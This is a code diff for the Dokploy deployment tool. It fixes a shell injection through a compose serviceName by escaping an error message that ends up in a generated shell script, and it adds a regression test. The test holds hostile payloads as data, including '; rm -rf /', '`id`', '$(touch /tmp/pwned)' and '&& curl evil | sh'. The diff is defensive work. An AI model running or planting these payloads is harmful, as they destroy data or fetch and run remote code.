diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..a4132063d --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,67 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has occurred an error"); + expect(leaksShellSyntax(result, "touch")).toBe(false); + expect(result).not.toContain("$(touch"); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts index 8094f1df2..b7af2d2cc 100644 --- a/packages/server/src/utils/docker/domain.ts +++ b/packages/server/src/utils/docker/domain.ts @@ -3,6 +3,7 @@ import { join } from "node:path"; import { paths } from "@dokploy/server/constants"; import type { Compose } from "@dokploy/server/services/compose"; import type { Domain } from "@dokploy/server/services/domain"; +import { quote } from "shell-quote"; import { parse, stringify } from "yaml"; import { execAsyncRemote } from "../process/execAsync"; import { cloneBitbucketRepository } from "../providers/bitbucket"; @@ -125,8 +126,11 @@ exit 1; const encodedContent = encodeBase64(composeString); return `echo "${encodedContent}" | base64 -d > "${path}";`; } catch (error) { - // @ts-ignore - return `echo "❌ Has occurred an error: ${error?.message || error}"; + const message = + error instanceof Error ? error.message : String(error ?? ""); + // The error message embeds user-controlled fields (e.g. serviceName) and is + // executed as part of the compose build shell script, so it must be escaped. + return `echo ${quote([`❌ Has occurred an error: ${message}`])}; exit 1; `; }